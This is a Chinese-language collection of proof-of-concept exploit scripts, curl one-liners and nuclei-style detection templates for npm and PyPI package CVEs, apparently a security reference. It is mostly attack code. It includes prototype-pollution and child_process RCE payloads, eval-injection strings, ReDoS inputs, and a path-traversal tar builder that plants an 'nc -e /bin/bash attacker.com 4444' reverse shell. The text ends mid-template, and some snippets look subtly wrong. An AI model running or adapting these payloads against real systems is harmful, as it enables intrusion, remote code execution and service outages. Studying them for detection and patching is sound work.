软件供应链与包管理平台高危攻击链专题：npm / PyPI / RubyGems / Conan / CPAN 漏洞全解析

// minimist < 1.2.3 内部逻辑简化
function build(obj, path, value) {
  var keys = path.split('.');
  for (var i = 0; i < keys.length - 1; i++) {
    var key = keys[i];
    if (!(key in obj)) obj[key] = {};
    obj = obj[key];
  }
  obj[keys[keys.length - 1]] = value;
}

var argv = require('minimist')(process.argv.slice(2));
console.log({}.polluted); // "yes" — 所有对象都被污染

curl -s -o /dev/null -w "%{http_code}" \
  "http://target-app:3000/api/parse?args=--constructor[prototype][polluted]=attack" \
  | xargs -I{} echo "HTTP Status: {}"

#!/usr/bin/env python3
"""CVE-2020-7598 minimist Prototype Pollution PoC"""
import requests
import json
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def exploit_minimist_pp(target_url, callback_url=None):
    payloads = [
        "--constructor[prototype][polluted]=true",
        "--__proto__[polluted]=true",
        "--constructor.prototype.polluted=true",
    ]
    results = []
    for payload in payloads:
        print(f"[*] Testing payload: {payload}")
        try:
            r = requests.get(
                target_url,
                params={"args": payload},
                verify=False,
                timeout=10,
            )
            status = r.status_code
            body = r.text[:200]
            if "polluted" in body or "prototype" in body.lower():
                print(f"  [VULN] 可能存在 Prototype Pollution! Status: {status}")
                results.append({"payload": payload, "status": "vulnerable", "response": body})
            else:
                print(f"  [SAFE] 未检测到污染 | Status: {status}")
                results.append({"payload": payload, "status": "safe", "status_code": status})
        except requests.exceptions.RequestException as e:
            print(f"  [ERR] {e}")
            results.append({"payload": payload, "status": "error", "error": str(e)})
    return results

def check_npm_package(target_url):
    """检查目标是否依赖了 vulnerable 版本的 minimist"""
    print(f"[*] 检查目标 package.json 依赖...")
    try:
        r = requests.get(f"{target_url}/package.json", verify=False, timeout=10)
        if r.status_code == 200:
            pkg = r.json()
            deps = pkg.get("dependencies", {})
            if "minimist" in deps:
                ver = deps["minimist"]
                print(f"  minimist 版本: {ver}")
                if any(c in ver for c in ["0.", "1.0", "1.1", "1.2.0", "1.2.1", "1.2.2"]):
                    print(f"  [VULN] 疑似受影响版本!")
                    return True
            print(f"  [SAFE] 未发现 minimist 依赖或已升级")
    except Exception:
        pass
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        print(f"示例: {sys.argv[0]} http://localhost:3000")
        sys.exit(1)
    target = sys.argv[1]
    print(f"[*] 目标: {target}")
    check_npm_package(target)
    results = exploit_minimist_pp(target)
    print(f"\n[*] 测试完成，共 {len(results)} 个 payload")

id: npm-minimist-prototype-pollution-cve-2020-7598
info:
  name: minimist Prototype Pollution (CVE-2020-7598)
  severity: high
  tags: npm,minimist,prototype-pollution,cve-2020-7598
  reference:
    - https://github.com/advisories/GHSA-xvch-5gv4-984h

http:
  - method: GET
    path:
      - "{{BaseURL}}/?args=--constructor[prototype][polluted]=true"
      - "{{BaseURL}}/?__proto__%5Bpolluted%5D=true"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "polluted"
          - "true"
        condition: or
        part: body

    extractors:
      - type: regex
        group: 1
        regex:
          - "(polluted.{0,20}true|true.{0,20}polluted)"

import tarfile
import io

malicious = tarfile.TarInfo(name="../../../tmp/pwned.txt")
malicious_data = b"#!/bin/bash\nnc -e /bin/bash attacker.com 4444\n"
malicious.size = len(malicious_data)

buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w') as tar:
    tar.addfile(malicious, io.BytesIO(malicious_data))

open("/tmp/exploit.tar", "wb").write(buf.getvalue())

curl -X POST "http://target-app:3000/api/upload-tar" \
  -F "file=@malicious.tar" \
  -v

#!/usr/bin/env python3
"""CVE-2022-25883 tar 路径遍历 PoC — 生成恶意 tar 文件并验证"""
import tarfile
import io
import os
import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def create_malicious_tar(target_path="/tmp/pwned.txt", content=b"PWNED by CVE-2022-25883"):
    path_traversal_payloads = [
        f"../../../{target_path.lstrip('/')}",
        f"..%2f..%2f..%2f{target_path.lstrip('/')}",
        f"....//....//....//{target_path.lstrip('/')}",
    ]
    results = []
    for payload in path_traversal_payloads:
        buf = io.BytesIO()
        try:
            with tarfile.open(fileobj=buf, mode='w') as tar:
                info = tarfile.TarInfo(name=payload)
                info.size = len(content)
                tar.addfile(info, io.BytesIO(content))
            tar_data = buf.getvalue()
            archive_path = f"/tmp/exploit_{abs(hash(payload)) % 10000}.tar"
            with open(archive_path, "wb") as f:
                f.write(tar_data)
            print(f"[+] 生成恶意 tar: {archive_path} | payload: {payload}")
            results.append({
                "payload": payload,
                "archive": archive_path,
                "size": len(tar_data),
            })
        except Exception as e:
            print(f"[!] 生成失败: {e}")
    return results

def upload_and_test(target_url, tar_path):
    print(f"[*] 上传 {tar_path} 到 {target_url}")
    try:
        with open(tar_path, "rb") as f:
            r = requests.post(
                target_url,
                files={"file": ("exploit.tar", f, "application/x-tar")},
                verify=False,
                timeout=15,
            )
        print(f"  Status: {r.status_code} | Response: {r.text[:200]}")
        return r.status_code
    except Exception as e:
        print(f"  [ERR] {e}")
        return None

def verify_local_vuln():
    print("[*] 本地验证 tar 库是否存在路径遍历...")
    try:
        import tarfile as tf
        malicious = io.BytesIO()
        content = b"VULNERABLE"
        with tf.open(fileobj=malicious, mode='w') as tar:
            info = tf.TarInfo(name="../../../tmp/cve-2022-25883-test")
            info.size = len(content)
            tar.addfile(info, io.BytesIO(content))
        test_dir = "/tmp/cve202225883_test"
        os.makedirs(test_dir, exist_ok=True)
        os.chdir(test_dir)
        malicious.seek(0)
        with tf.open(fileobj=malicious, mode='r') as tar:
            try:
                tar.extractall(path=test_dir)
                if os.path.exists("/tmp/cve-2022-25883-test"):
                    print("[VULN] 本地 tar 库存在路径遍历漏洞!")
                    os.remove("/tmp/cve-2022-25883-test")
                    return True
                else:
                    print("[SAFE] tar 库已修复路径遍历")
            except Exception as e:
                print(f"[SAFE] tar 库拒绝解压: {e}")
        os.chdir("/")
    except ImportError:
        print("[!] 未安装 tarfile 模块")
    return False

if __name__ == "__main__":
    verify_local_vuln()
    archives = create_malicious_tar()
    if len(sys.argv) > 1:
        for a in archives:
            upload_and_test(sys.argv[1], a["archive"])
    print(f"\n[*] 共生成 {len(archives)} 个恶意 tar 文件")

id: npm-tar-path-traversal-cve-2022-25883
info:
  name: tar 路径遍历 (CVE-2022-25883)
  severity: high
  tags: npm,tar,path-traversal,cve-2022-25883
  reference:
    - https://github.com/advisories/GHSA-3jfq-g458-7qm9

http:
  - method: GET
    path:
      - "{{BaseURL}}/node_modules/tar/package.json"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"tar"'
        part: body
      - type: regex
        regex:
          - '"version"\\s*:\\s*"(0|1|2|3|4|5|6\\.0|6\\.1\\.0|6\\.1\\.[0-9]|6\\.1\\.10)"'
        part: body

const { Cookie } = require('tough-cookie');

// 恶意 Cookie 名称
const maliciousCookie = Cookie.parse("__proto__.polluted=yes; path=/");
// 当该 Cookie 被合并到对象时触发污染
const obj = {};
Object.assign(obj, maliciousCookie);
// 此时: {}.polluted === "yes"

curl -H "Cookie: __proto__[polluted]=true; constructor[prototype][polluted]=1" \
  "http://target-app:3000/" -v | grep -i polluted

#!/usr/bin/env python3
"""CVE-2023-26136 tough-cookie Prototype Pollution PoC"""
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def test_tough_cookie_pp(target_url):
    cookie_payloads = [
        "__proto__[polluted]=true",
        "constructor[prototype][polluted]=1",
        "__proto__.polluted=attack",
        "constructor.prototype.polluted=yes",
    ]
    results = []
    for payload in cookie_payloads:
        print(f"[*] Payload: Cookie: {payload}")
        try:
            r = requests.get(
                target_url,
                headers={"Cookie": payload},
                verify=False,
                timeout=10,
            )
            body = r.text
            if "polluted" in body.lower():
                print(f"  [VULN] 检测到原型污染! Status: {r.status_code}")
                results.append({"payload": payload, "result": "vulnerable"})
            else:
                print(f"  [SAFE] 未检测到污染 | Status: {r.status_code}")
                results.append({"payload": payload, "result": "safe"})
        except requests.exceptions.RequestException as e:
            print(f"  [ERR] {e}")
            results.append({"payload": payload, "result": "error"})
    return results

def check_version(target_url):
    pkg_url = f"{target_url.rstrip('/')}/node_modules/tough-cookie/package.json"
    try:
        r = requests.get(pkg_url, verify=False, timeout=10)
        if r.status_code == 200:
            data = r.json()
            ver = data.get("version", "unknown")
            print(f"[+] tough-cookie 版本: {ver}")
            return ver
    except Exception:
        pass
    return None

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)
    target = sys.argv[1]
    print(f"[*] 目标: {target}")
    check_version(target)
    test_tough_cookie_pp(target)

id: npm-tough-cookie-prototype-pollution-cve-2023-26136
info:
  name: tough-cookie Prototype Pollution (CVE-2023-26136)
  severity: high
  tags: npm,tough-cookie,prototype-pollution,cve-2023-26136
  reference:
    - https://github.com/advisories/GHSA-72xf-g2v4-qvf3

http:
  - method: GET
    path:
      - "{{BaseURL}}/node_modules/tough-cookie/package.json"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"tough-cookie"'
        part: body
      - type: regex
        regex:
          - '"version"\\s*:\\s*"[0-3]\\.|4\\.0\\.|4\\.1\\.[0-2]"'
        part: body

const glamor = require('glamor');

// 构造恶意样式参数
const malicious = JSON.parse('{"__proto__": {"polluted": "RCE payload"}}');
glamor.css(malicious);

// 验证污染
console.log({}.polluted); // "RCE payload"

curl -X POST "http://target-app:3000/api/render" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"polluted":"CVE-2020-7720"}}' \
  -v | grep -i polluted

#!/usr/bin/env python3
"""CVE-2020-7720 glamor Prototype Pollution PoC"""
import requests
import json
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def test_glamor_pp(target_url):
    payloads = [
        {"__proto__": {"polluted": "CVE-2020-7720"}},
        {"constructor": {"prototype": {"polluted": True}}},
        {"__proto__": {"toString": "polluted"}},
    ]
    for i, payload in enumerate(payloads):
        print(f"\n[*] Payload #{i+1}: {json.dumps(payload, ensure_ascii=False)}")
        try:
            r = requests.post(
                target_url,
                json=payload,
                headers={"Content-Type": "application/json"},
                verify=False,
                timeout=10,
            )
            print(f"  Status: {r.status_code}")
            print(f"  Response: {r.text[:300]}")
            if r.status_code == 200 and ("polluted" in r.text or r.status_code == 200):
                print(f"  [VULN] 可能存在 Prototype Pollution!")
                return True
        except requests.exceptions.RequestException as e:
            print(f"  [ERR] {e}")
    return False

def exploit_chain_test(target_url):
    """测试从 Prototype Pollution 到 RCE 的利用链"""
    print("\n[*] 测试 Prototype Pollution → RCE 利用链...")
    rce_payloads = [
        {
            "__proto__": {
                "outputFunctionName": "_tmp1;require('child_process').execSync('id');var _tmp2//"
            }
        },
        {
            "__proto__": {
                "type": "Buffer",
                "data": [105, 100]
            }
        },
    ]
    for payload in rce_payloads:
        try:
            r = requests.post(
                target_url,
                json=payload,
                headers={"Content-Type": "application/json"},
                verify=False,
                timeout=10,
            )
            if "uid=" in r.text or "gid=" in r.text:
                print(f"  [CRITICAL] RCE 确认! Response: {r.text[:200]}")
                return True
        except Exception:
            pass
    print("  [INFO] 需要结合其他 gadget 实现完整 RCE")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)
    target = sys.argv[1]
    print(f"[*] 目标: {target}")
    test_glamor_pp(target)
    exploit_chain_test(target)

id: npm-glamor-prototype-pollution-cve-2020-7720
info:
  name: glamor Prototype Pollution RCE (CVE-2020-7720)
  severity: critical
  tags: npm,glamor,prototype-pollution,rce,cve-2020-7720
  reference:
    - https://github.com/advisories/GHSA-xj82-x2h6-9rp3

http:
  - method: GET
    path:
      - "{{BaseURL}}/node_modules/glamor/package.json"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"glamor"'
        part: body
      - type: regex
        regex:
          - '"version"\\s*:\\s*"[0-3]\\.|0\\.4\\.[01]"'
        part: body

// 恶意 Babel 插件 payload 概念
const maliciousPlugin = {
  visitor: {
    CallExpression(path) {
      // 在 evaluate 过程中，不安全的代码路径被执行
      path.evaluate() // 触发点
    }
  }
};

curl -X POST "http://target-babel-service:3000/api/compile" \
  -H "Content-Type: application/json" \
  -d '{
    "code": "const x = 1;",
    "plugins": ["malicious-babel-plugin"]
  }' \
  -v

#!/usr/bin/env python3
"""CVE-2023-45133 @babel/traverse 代码注入检测"""
import requests
import json
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_babel_version(target_url):
    paths = [
        "/node_modules/@babel/traverse/package.json",
        "/node_modules/@babel/core/node_modules/@babel/traverse/package.json",
    ]
    for path in paths:
        try:
            r = requests.get(f"{target_url.rstrip('/')}{path}", verify=False, timeout=10)
            if r.status_code == 200:
                data = r.json()
                ver = data.get("version", "unknown")
                print(f"[+] @babel/traverse 版本: {ver}")
                if any(ver.startswith(v) for v in ["7.", "6.", "5."]):
                    parts = ver.split(".")
                    if int(parts[0]) < 7 or (int(parts[0]) == 7 and len(parts) > 1 and int(parts[1]) < 23):
                        print("[VULN] 疑似受影响版本!")
                        return True
                    elif int(parts[0]) == 7 and int(parts[1]) == 23 and len(parts) > 2 and int(parts[2]) < 2:
                        print("[VULN] 确认受影响版本!")
                        return True
        except Exception:
            continue
    print("[SAFE] 未找到 @babel/traverse 或已升级")
    return False

def test_code_injection(target_url):
    payloads = [
        {
            "code": 'require("child_process").execSync("id")',
            "filename": "input.js",
        },
        {
            "code": "const x = process.env;",
            "filename": "test.js",
            "plugins": [
                {
                    "visitor": {
                        "Program": {
                            "enter": "require('child_process').execSync('id')"
                        }
                    }
                }
            ],
        },
    ]
    for i, payload in enumerate(payloads):
        print(f"\n[*] Injection test #{i+1}")
        try:
            endpoints = ["/api/compile", "/compile", "/babel/transform", "/transform"]
            for endpoint in endpoints:
                r = requests.post(
                    f"{target_url.rstrip('/')}{endpoint}",
                    json=payload,
                    headers={"Content-Type": "application/json"},
                    verify=False,
                    timeout=10,
                )
                if r.status_code == 200:
                    body = r.text
                    if "uid=" in body or "gid=" in body or "root" in body:
                        print(f"  [CRITICAL] RCE via endpoint {endpoint}!")
                        print(f"  Response: {body[:300]}")
                        return True
                    elif "error" not in body.lower() and len(body) > 10:
                        print(f"  [INFO] Endpoint {endpoint} 响应: {body[:200]}")
        except requests.exceptions.RequestException:
            continue
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)
    target = sys.argv[1]
    print(f"[*] 目标: {target}")
    check_babel_version(target)
    test_code_injection(target)

id: npm-babel-traverse-code-injection-cve-2023-45133
info:
  name: @babel/traverse 代码注入 (CVE-2023-45133)
  severity: critical
  tags: npm,babel,traverse,code-injection,cve-2023-45133
  reference:
    - https://github.com/advisories/GHSA-67hx-6xww-8w95

http:
  - method: GET
    path:
      - "{{BaseURL}}/node_modules/@babel/traverse/package.json"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"@babel/traverse"'
        part: body
      - type: regex
        regex:
          - '"version"\\s*:\\s*"(7\\.2[0-2]\\.|7\\.0|7\\.1)"'
        part: body

# setuptools < 65.5.1 中的不安全代码简化
def safe_name(name):
    # 不安全的 eval 调用
    return eval('"' + name + '"')  # CVE-2022-21797

# 攻击者构造恶意包名
malicious_name = '"); import os; os.system("id"); x="'
safe_name(malicious_name)  # 触发任意代码执行

curl -X GET "http://target-pypi:8080/simple/ malicious-pkg/__init__.py" \
  -H "Accept: text/html" \
  -v

#!/usr/bin/env python3
"""CVE-2022-21797 setuptools eval() 代码执行 PoC"""
import sys
import subprocess
import pkg_resources
import os

def check_setuptools_version():
    try:
        ver = pkg_resources.get_distribution("setuptools").version
        print(f"[+] 当前 setuptools 版本: {ver}")
        parts = ver.split(".")
        if int(parts[0]) < 65 or (int(parts[0]) == 65 and int(parts[1]) < 5) or \
           (int(parts[0]) == 65 and int(parts[1]) == 5 and len(parts) > 2 and int(parts[2]) < 1):
            print("[VULN] 受 CVE-2022-21797 影响!")
            return True
        print("[SAFE] 已修复")
        return False
    except Exception as e:
        print(f"[!] 无法获取 setuptools 版本: {e}")
        return False

def demonstrate_eval_injection():
    print("\n[*] 演示 eval() 注入原理...")
    malicious_names = [
        '__import__("os").popen("id").read()',
        '"); __import__("os").system("id"); x="',
    ]
    for name in malicious_names:
        try:
            result = eval('"' + name + '"')
            print(f"  [VULN] eval() 执行成功: {result.strip()}")
        except Exception as e:
            print(f"  [INFO] 捕获异常: {e}")

def test_package_index(target_url):
    print(f"\n[*] 测试 Package Index: {target_url}")
    try:
        import requests
        r = requests.get(f"{target_url.rstrip('/')}/simple/", verify=False, timeout=10)
        print(f"  Status: {r.status_code} | Packages listed: {r.text.count('<a ')}")
        return r.status_code == 200
    except Exception as e:
        print(f"  [ERR] {e}")
        return False

if __name__ == "__main__":
    check_setuptools_version()
    demonstrate_eval_injection()
    if len(sys.argv) > 1:
        test_package_index(sys.argv[1])

id: pypi-setuptools-eval-rce-cve-2022-21797
info:
  name: setuptools eval() 任意代码执行 (CVE-2022-21797)
  severity: high
  tags: pypi,setuptools,rce,eval,cve-2022-21797
  reference:
    - https://github.com/advisories/GHSA-5934-53j6-438x

http:
  - method: GET
    path:
      - "{{BaseURL}}/simple/setuptools/"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "setuptools"
        part: body
      - type: regex
        regex:
          - 'setuptools-(0|[1-5][0-9]?|6[0-4]|65\\.[0-4]|65\\.5\\.0)\\.tar'
        part: body

import re

# 存在 ReDoS 的正则表达式简化版
vulnerable_regex = re.compile(
    r'([a-zA-Z][a-zA-Z0-9]*(?:\.[a-zA-Z][a-zA-Z0-9]*)*)(?:\s*;\s*q=(0\.[0-9]{1,3}|1\.0*))?'
)

# 构造恶意 Content-Type — 长串重复字符触发回溯
evil_ct = "a" * 50 + "." + "b" * 50 + "." + "c" * 50 + ";q=0." + "9" * 30

# 此操作可能导致 CPU 高负载
vulnerable_regex.match(evil_ct)

curl -H "Content-Type: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb.ccccccccccccccccccccccccccccccccccc; q=0.9999999999999999999999999" \
  "http://target-pypi:8080/packages/source/malicious/malicious/malicious-1.0.tar.gz" \
  -o /dev/null -w "Time: %{time_total}s\n"

#!/usr/bin/env python3
"""CVE-2022-40897 setuptools ReDoS PoC"""
import re
import time
import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def test_local_redos():
    print("[*] 本地 ReDoS 测试...")
    vulnerable_regex = re.compile(
        r'([a-zA-Z][a-zA-Z0-9]*(?:\.[a-zA-Z][a-zA-Z0-9]*)*)'
        r'(?:\s*;\s*q=(0\.[0-9]{1,3}|1\.0*))?'
    )
    payloads = [
        ("正常输入", "application/json"),
        ("中等长度", "a" * 20 + "." + "b" * 20 + ";q=0.9"),
        ("长字符串回溯", "a" * 40 + "." + "b" * 40 + "." + "c" * 40 + ";q=0." + "9" * 25),
        ("极端回溯", "a" * 50 + "." + "b" * 50 + "." + "c" * 50 + ";q=0." + "9" * 35),
    ]
    for name, payload in payloads:
        start = time.time()
        try:
            vulnerable_regex.match(payload)
        except Exception:
            pass
        elapsed = time.time() - start
        flag = "[VULN]" if elapsed > 1.0 else "[SAFE]"
        print(f"  {flag} {name}: {elapsed:.4f}s")
    return elapsed > 1.0

def test_remote_redos(target_url, timeout_threshold=3):
    print(f"\n[*] 远程 ReDoS 测试: {target_url}")
    evil_ct = "a" * 50 + "." + "b" * 50 + "." + "c" * 50 + ";q=0." + "9" * 30
    try:
        start = time.time()
        r = requests.get(
            target_url,
            headers={"Content-Type": evil_ct},
            verify=False,
            timeout=60,
        )
        elapsed = time.time() - start
        print(f"  Status: {r.status_code} | Time: {elapsed:.2f}s")
        if elapsed > timeout_threshold:
            print(f"  [VULN] 响应时间 {elapsed:.2f}s 超过阈值，疑似 ReDoS!")
            return True
    except requests.exceptions.Timeout:
        print("  [VULN] 请求超时! 疑似 ReDoS 导致服务端 CPU 耗尽!")
        return True
    except Exception as e:
        print(f"  [ERR] {e}")
    return False

if __name__ == "__main__":
    test_local_redos()
    if len(sys.argv) > 1:
        test_remote_redos(sys.argv[1])

id: pypi-setuptools-redos-cve-2022-40897
info:
  name: setuptools 正则拒绝服务 (CVE-2022-40897)
  severity: high
  tags: pypi,setuptools,redos,cve-2022-40897
  reference:
    - https://github.com/advisories/GHSA-r5x3-5jrm-fp72

http:
  - method: GET
    path:
      - "{{BaseURL}}/simple/setuptools/"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "setuptools"
        part: body

from twisted.conch.ssh.keys import Key

# 受影响的验证逻辑简化
def verify_server_key(host_key, known_hosts):
    # 漏洞: 未正确比较 key type，导致任何类型密钥都被接受
    for known_key in known_hosts:
        if known_key.type() == host_key.type():
            return True  # 验证通过
    return False

# 攻击者可以使用 RSA 密钥冒充 Ed25519 服务器

ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
  user@target-server -p 22 -v 2>&1 | grep -i "twisted\|key\|verify"

#!/usr/bin/env python3
"""CVE-2022-21716 Twisted SSH 公钥验证绕过 PoC"""
import sys
import socket
import struct

def build_ssh_kex_init():
    cookie = b'\x00' * 16
    kex_algorithms = b"diffie-hellman-group14-sha256"
    server_host_key_algorithms = b"ssh-rsa"
    encryption_algorithms_client_to_server = b"aes128-ctr"
    encryption_algorithms_server_to_client = b"aes128-ctr"
    mac_algorithms_client_to_server = b"hmac-sha2-256"
    mac_algorithms_server_to_client = b"hmac-sha2-256"
    compression_algorithms_client_to_server = b"none"
    compression_algorithms_server_to_client = b"none"
    languages_client_to_server = b""
    languages_server_to_client = b""

    payload = cookie
    for algo_list in [
        kex_algorithms, server_host_key_algorithms,
        encryption_algorithms_client_to_server,
        encryption_algorithms_server_to_client,
        mac_algorithms_client_to_server,
        mac_algorithms_server_to_client,
        compression_algorithms_client_to_server,
        compression_algorithms_server_to_client,
        languages_client_to_server,
        languages_server_to_client,
    ]:
        name_list = algo_list
        payload += struct.pack(">I", len(name_list)) + name_list
    payload += b'\x00'  # first_kex_packet_follows
    payload += b'\x00\x00\x00\x00'  # reserved

    msg = b'\x14' + payload  # SSH_MSG_KEXINIT
    packet = struct.pack(">I", len(msg) + 5) + msg
    return packet

def test_ssh_server(target_host, target_port=22):
    print(f"[*] 测试 SSH 服务器: {target_host}:{target_port}")
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((target_host, target_port))

        banner = sock.recv(1024).decode("utf-8", errors="ignore").strip()
        print(f"  SSH Banner: {banner}")

        if "twisted" in banner.lower():
            print(f"  [VULN] 检测到 Twisted SSH 服务器! 可能受 CVE-2022-21716 影响")
            sock.close()
            return True

        sock.close()
    except socket.timeout:
        print("  [ERR] 连接超时")
    except Exception as e:
        print(f"  [ERR] {e}")
    return False

def check_local_twisted():
    print("\n[*] 检查本地 Twisted 版本...")
    try:
        import twisted
        ver = twisted.__version__
        print(f"  Twisted 版本: {ver}")
        parts = ver.split(".")
        if int(parts[0]) < 22 or (int(parts[0]) == 22 and int(parts[1]) < 10):
            print("  [VULN] 受 CVE-2022-21716 影响!")
            return True
        print("  [SAFE] 已修复")
    except ImportError:
        print("  [INFO] 未安装 Twisted")
    return False

if __name__ == "__main__":
    check_local_twisted()
    if len(sys.argv) > 1:
        host = sys.argv[1]
        port = int(sys.argv[2]) if len(sys.argv) > 2 else 22
        test_ssh_server(host, port)

id: pypi-twisted-ssh-key-bypass-cve-2022-21716
info:
  name: Twisted SSH 公钥验证绕过 (CVE-2022-21716)
  severity: critical
  tags: pypi,twisted,ssh,key-bypass,cve-2022-21716
  reference:
    - https://github.com/advisories/GHSA-h9xj-5jg3-52r3

network:
  - inputs:
      - data: "SSH-2.0-Twisted\r\n"
        read: 1024
    host:
      - "{{Hostname}}"
    port: 22
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Twisted"
      - type: word
        words:
          - "SSH-2.0"

import re
import time

# 简化的受影响正则
label_pattern = re.compile(
    r'(?:[\x00-\x7F]|(?:[\x80-\uFFFF]))+'
)

# 构造恶意域名 — 超长 Unicode 标签
evil_domain = "xn--" + "a" * 65535 + ".example.com"

start = time.time()
label_pattern.match(evil_domain.split(".")[0])
elapsed = time.time() - start
print(f"正则匹配耗时: {elapsed:.2f}s")  # 可能超过 30 秒

python3 -c "
import requests, urllib3
urllib3.disable_warnings()
evil = 'http://xn--' + 'a'*65535 + '.example.com'
try:
    requests.get(evil, timeout=5, verify=False)
except Exception as e:
    print(f'Error: {e}')
" 2>&1 | head -5

#!/usr/bin/env python3
"""CVE-2024-3651 idna ReDoS PoC"""
import time
import sys
import threading

def test_local_redos():
    print("[*] 本地 idna ReDoS 测试...")
    try:
        import idna
    except ImportError:
        print("[!] idna 未安装，跳过本地测试")
        return False

    payloads = [
        ("正常域名", "example.com"),
        ("中等长度", "xn--a" * 10 + ".com"),
        ("长 Unicode 标签", "xn--" + "a" * 1000 + ".com"),
        ("极端回溯", "xn--" + "a" * 10000 + ".com"),
    ]

    results = []
    for name, domain in payloads:
        start = time.time()
        try:
            encoded = idna.encode(domain, uts46=True)
        except Exception:
            pass
        elapsed = time.time() - start
        flag = "[VULN]" if elapsed > 1.0 else "[SAFE]"
        print(f"  {flag} {name}: {elapsed:.4f}s")
        results.append((name, elapsed))
    return any(elapsed > 1.0 for _, elapsed in results)

def test_remote_redos(target_url, timeout_threshold=5):
    print(f"\n[*] 远程测试: {target_url}")
    try:
        import requests
        import urllib3
        urllib3.disable_warnings()
        start = time.time()
        r = requests.get(
            f"http://xn--{'a'*5000}.example.com",
            headers={"Host": f"xn--{'a'*5000}.example.com"},
            verify=False,
            timeout=60,
        )
        elapsed = time.time() - start
        print(f"  Status: {r.status_code} | Time: {elapsed:.2f}s")
        if elapsed > timeout_threshold:
            print(f"  [VULN] 响应时间 {elapsed:.2f}s 超过阈值!")
            return True
    except requests.exceptions.Timeout:
        print("  [VULN] 请求超时! 疑似 ReDoS!")
        return True
    except Exception as e:
        print(f"  [ERR] {e}")
    return False

if __name__ == "__main__":
    test_local_redos()
    if len(sys.argv) > 1:
        test_remote_redos(sys.argv[1])

id: pypi-idna-redos-cve-2024-3651
info:
  name: idna 正则拒绝服务 (CVE-2024-3651)
  severity: high
  tags: pypi,idna,redos,cve-2024-3651
  reference:
    - https://github.com/advisories/GHSA-jj87-3g6m-wqq3

http:
  - method: GET
    path:
      - "{{BaseURL}}/simple/idna/"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "idna"
        part: body
      - type: regex
        regex:
          - 'idna-(0|1|2|3\.[0-6])\.'
        part: body

import re
import time

# 存在 ReDoS 的正则表达式
version_regex = re.compile(
    r'(?P<major>(?:0|[1-9][0-9]*))\.(?P<minor>(?:0|[1-9][0-9]*))'
    r'(?:\.(?P<patch>(?:0|[1-9][0-9]*)))?'
    r'(?:(?P<pre_release>[-_\.]?(alpha|beta|preview|dev|rc|a|b|c|pre)[-_\.]?\d*))?'
)

# 恶意版本字符串
evil_version = "1." * 5000 + "0"

start = time.time()
version_regex.match(evil_version)
elapsed = time.time() - start
print(f"正则匹配耗时: {elapsed:.2f}s")

curl -X POST "http://target-pypi:8080/simple/py/" \
  -H "Content-Type: application/json" \
  -d '{"version": "1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1"}' \
  -w "\nTime: %{time_total}s\n" -o /dev/null

#!/usr/bin/env python3
"""CVE-2022-42969 py 库 ReDoS PoC"""
import re
import time
import sys

def test_local_redos():
    print("[*] 本地 py 库 ReDoS 测试...")
    version_regex = re.compile(
        r'(?P<major>(?:0|[1-9][0-9]*))'
        r'(?:\.(?P<minor>(?:0|[1-9][0-9]*)))?'
        r'(?:\.(?P<patch>(?:0|[1-9][0-9]*)))?'
        r'(?:(?P<pre_release>[-_\.]?(?:alpha|beta|preview|dev|rc|a|b|c|pre)[-_\.]?\d*))?'
    )
    payloads = [
        ("正常版本", "1.2.3"),
        ("中等长度", ".".join(["1"] * 100)),
        ("长字符串", ".".join(["1"] * 1000)),
        ("极端回溯", ".".join(["1"] * 5000)),
    ]
    max_elapsed = 0
    for name, version in payloads:
        start = time.time()
        try:
            version_regex.match(version)
        except Exception:
            pass
        elapsed = time.time() - start
        max_elapsed = max(max_elapsed, elapsed)
        flag = "[VULN]" if elapsed > 1.0 else "[SAFE]"
        print(f"  {flag} {name} ({len(version)} chars): {elapsed:.4f}s")
    return max_elapsed > 1.0

def test_remote(target_url):
    print(f"\n[*] 远程 ReDoS 测试: {target_url}")
    try:
        import requests
        import urllib3
        urllib3.disable_warnings()
        evil_version = ".".join(["1"] * 500)
        start = time.time()
        r = requests.post(
            f"{target_url.rstrip('/')}/api/version",
            json={"version": evil_version},
            verify=False,
            timeout=60,
        )
        elapsed = time.time() - start
        print(f"  Status: {r.status_code} | Time: {elapsed:.2f}s")
        if elapsed > 5:
            print(f"  [VULN] 疑似 ReDoS! 响应时间异常!")
            return True
    except requests.exceptions.Timeout:
        print("  [VULN] 请求超时!")
        return True
    except Exception as e:
        print(f"  [ERR] {e}")
    return False

if __name__ == "__main__":
    test_local_redos()
    if len(sys.argv) > 1:
        test_remote(sys.argv[1])

id: pypi-py-redos-cve-2022-42969
info:
  name: py 库正则拒绝服务 (CVE-2022-42969)
  severity: high
  tags: pypi,py,redos,cve-2022-42969
  reference:
